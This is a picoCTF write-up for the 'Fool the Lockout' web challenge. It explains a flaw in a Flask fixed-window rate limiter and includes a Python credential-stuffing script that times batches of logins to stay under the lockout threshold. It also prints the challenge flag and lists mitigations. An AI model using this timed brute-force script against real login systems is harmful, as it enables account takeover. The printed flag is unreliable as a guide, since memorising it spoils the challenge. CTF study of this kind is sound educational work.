picoCTF Writeup — Fool the Lockout (Web Exploitation)

medium.com · mayhack · 9 days ago · writeup
quality 9/10 · excellent
0 net
picoCTF Writeup — Fool the Lockout (Web Exploitation) | by mayhack - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original picoCTF Writeup — Fool the Lockout (Web Exploitation) Introduction mayhack Follow ~4 min read · March 24, 2026 (Updated: March 25, 2026) · Free: Yes picoCTF Writeup — Fool the Lockout (Web Exploitation) This writeup explains how to solve the "Fool the Lockout" challenge from picoCTF . The challenge focuses on bypassing a login rate limiter implemented in a web application. The goal is to bypass the protection mechanism, successfully log in using credentials from a provided dump, and retrieve the flag. Category: Web Exploitation Points: 200 Challenge Description The challenge provides the following information: A login page A credential dump containing 100 username/password pairs The full Python source code of the application The description states that one of the credential pairs in the dump is valid. However, the application implements a rate limiting mechanism that blocks your IP address after too many login attempts. Our task is to: Understand how the rate limiter works Find a way to bypass it Try credentials until we find the valid one Log in and retrieve the flag The login page looks like this: Understanding the Application We were given the Flask source code of the application. The application uses a simple dictionary to store user credentials: user_db = {} It also tracks login attempts using another dictionary: request_rates = {} Each IP address gets an entry like this: { "num_requests": int, "epoch_start": timestamp, "lockout_until": timestamp } This structure allows the application to track how many login attempts an IP address has made within a specific time window. Rate Limiting Logic Three constants control the rate limiter: MAX_REQUESTS = 10 EPOCH_DURATION = 30 LOCKOUT_DURATION = 120 Meaning: MAX_REQUESTS — Maximum failed login attempts allowedEPOCH_DURATION — Time window for counting attemptsLOCKOUT_DURATION — Time the IP is blocked In simple terms: If more than 10 login attempts occur Within 30 seconds The IP address is locked for 120 seconds The Vulnerability The key vulnerability lies in how the epoch reset works . Inside the function that refreshes request counters: if curr_time - epoch_start_time > EPOCH_DURATION: request_rates[client_ip]["num_requests"] = 0 This means: Every 30 seconds , the request counter resets back to zero . This implementation uses a fixed time window instead of a sliding window . Because of this, we can avoid triggering the lockout by: Sending 9 login attempts Waiting more than 30 seconds Repeating the process Since the threshold is 10 attempts , staying at 9 attempts per window avoids triggering the rate limiter. Credential Dump We are given a file containing username/password pairs. Example entries from the dump: rora;winner1 birendra;rumble khalid;sting stanislaw;ming One of these credential pairs is the real account. Our job is to test each pair until we find the correct one. This attack technique is called Credential Stuffing , where attackers try leaked username/password pairs against a login system. Exploitation Strategy Our attack plan is simple: Read the credential dump Send login requests Stop after 9 attempts Wait 32 seconds (to allow epoch reset) Continue with the next credentials Detect successful login via HTTP 302 redirect Exploit Script Below is the Python script used to automate the attack. import requests import time import re TARGET = "http://candy-mountain.picoctf.net:56301" BATCH_SIZE = 9 SLEEP = 32 creds = [] with open("creds-dump.txt") as f: for line in f: user, pw = line.strip().split(";") creds.append((user, pw)) batch = 0 for user, pw in creds: if batch == BATCH_SIZE: print("Waiting for rate limit reset...") time.sleep(SLEEP) batch = 0 r = requests.post( f"{TARGET}/login", data={"username": user, "password": pw}, allow_redirects=False ) batch += 1 if r.status_code == 302: print("SUCCESS:", user, pw) s = requests.Session() s.post(f"{TARGET}/login", data={"username": user, "password": pw}) home = s.get(TARGET) flag = re.search(r"picoCTF{.*}", home.text) print("Flag:", flag.group(0)) break Successful Login After running the script, the correct credential pair was found: you will find on your own 🫡🫡 Once logged in, the homepage displays the flag. Flag picoCTF{f00l_7h4t_l1m1t3r_011089cc} Security Impact Poorly implemented rate limiting can allow attackers to perform credential stuffing attacks . If an attacker has access to leaked password databases, they can systematically test credentials while staying under the rate limit. This can lead to: Account takeover Data breaches Unauthorized access to sensitive systems Mitigation Developers should implement stronger protections such as: 1. Sliding Window Rate Limiting Instead of resetting counters every fixed interval, track requests within the last N seconds . 2. Account-Based Lockouts Lock specific user accounts after repeated failures. 3. CAPTCHA Introduce CAPTCHA after several failed login attempts. 4. Exponential Backoff Increase delay after each failed login attempt. 5. Multi-Factor Authentication (MFA) Require additional authentication factors. Key Takeaways This challenge demonstrates an important lesson in web security: Even when a protection mechanism exists, poor implementation can make it ineffective . The rate limiter in this challenge used a predictable time window, allowing attackers to stay just under the threshold and bypass the protection completely. Understanding how security controls work internally is often the key to breaking them. Conclusion By carefully analyzing the source code, we identified a flaw in the rate limiter design. Using this knowledge, we created a script that: Sent login attempts in controlled batches Waited for the counter reset Tried all credentials from the dump Eventually, the correct credentials were found and the flag was retrieved. This challenge highlights the importance of proper rate limiting implementation in authentication systems . 📬 Stay Connected If you found this helpful and want to learn more about web security, hands-on labs , feel free to follow me for upcoming posts. ✍️ Follow me for more cybersecurity write-ups 🔗 LinkedIn — codermayank 📸 Instagram — @mayhack_ Tags: #BugBounty #EthicalHacking #ChatGPT #CyberSecurity #AIforSecurity #PenetrationTesting #HackerOne #Bugcrowd #WebSecurity #InfoSec #bug-bounty #hacking #cybersecurity #pentesting #ctf Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).